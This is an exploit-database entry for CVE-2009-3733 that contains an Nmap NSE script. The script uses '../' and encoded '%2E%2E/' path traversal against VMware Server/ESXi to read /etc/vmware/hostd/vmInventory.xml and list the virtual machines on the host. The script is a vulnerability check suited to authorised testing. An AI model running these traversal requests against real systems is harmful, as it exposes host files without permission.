VMware Server 2.0.1 / ESXi Server 3.5 - Directory Traversal

source: http://www.securityfocus.com/bid/36842/info



VMware products are prone to a directory-traversal vulnerability because they fail to sufficiently sanitize user-supplied input data.



Exploiting the issue may allow an attacker to obtain sensitive information from the host operating system that could aid in further attacks.



description = [[

Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733), originally released by Justin Morehouse (justin.morehouse[at)gmail.com) and Tony Flick (tony.flick(at]fyrmassociates.com), and presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html).

]]



---

-- @usage

-- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host>

--

-- @output

--| http-vmware-path-vuln:  

--|   VMWare path traversal (CVE-2009-3733): VULNERABLE

--|     /vmware/Windows 2003/Windows 2003.vmx

--|     /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx

--|     /vmware/Pentest/Pentest - Windows/Windows 2003.vmx

--|     /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx

--|     /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx

--|     /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx

--|_    /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx

-----------------------------------------------------------------------



author = "Ron Bowes"

license = "Same as Nmap--See http://www.exampel.com/book/man-legal.html"

categories = {"vuln", "safe", "default"}



require "http"

require "shortport"



portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})



local function get_file(host, port, path)

	local file



	-- Replace spaces in the path with %20

	path = string.gsub(path, " ", "%%20")



	-- Try both ../ and %2E%2E/

	file = "/sdk/../../../../../../" .. path



	local result = http.get( host, port, file)

	if(result['status'] ~= 200 or result['content-length'] == 0) then

		file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path

		result = http.get( host, port, file)



		if(result['status'] ~= 200 or result['content-length'] == 0) then

			return false, "Couldn't download file: " .. path

		end

	end



	return true, result.body, file

end



local function fake_xml_parse(str, tag)

	local result = {}

	local index, tag_start, tag_end



	-- Lowercase the 'body' we're searching

	local lc = string.lower(str)

	-- Lowrcase the tag

	tag = string.lower(tag)



	-- This loop does some ugly pattern-based xml parsing

	index, tag_start = string.find(lc, "<" .. tag .. ">")

	while index do

		tag_end, index = string.find(lc, "</" .. tag .. ">", index)

		table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase

		index, tag_start = string.find(lc, "<" .. tag .. ">", index)

	end



	return result

end



--local function parse_vmware_conf(str, field)

--	local index, value_start = string.find(str, field .. "[^\"]*")

--	if(not(index) or not(value_start)) then

--		return nil

--	end

--

--	local value_end = string.find(str, "\"", value_start + 1)

--	if(not(value_end)) then

--		return nil

--	end

--

--	return string.sub(str, value_start + 1, value_end - 1)

--end



local function go(host, port)

	local result, body

	local files



	-- Try to download the file

	result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");

	-- It failed -- probably not vulnerable

	if(not(result)) then

		return false, "Couldn't download file: " .. body

	end



	-- Check if the file contains the proper XML

	if(string.find(string.lower(body), "configroot") == nil) then

		return false, "Server didn't return XML -- likely not vulnerable."

	end



	files = fake_xml_parse(body, "vmxcfgpath")



	if(#files == 0) then

		return true, {"No VMs appear to be installed"}

	end



	-- Process each of the .vmx files if verbosity is on

--	if(nmap.verbosity() > 1) then

--		local result, file = get_file(host, port, files[1])

--io.write(nsedebug.tostr(file))

--	end



	return true, files

end



action = function(host, port)

	-- Try a standard ../ path

	local status, result = go(host, port)



	if(not(status)) then

		return nil

	end



	local response = {}

	table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")



	if(nmap.verbosity() > 1) then

		table.insert(response, result)

	end



	return stdnse.format_output(true, response)

end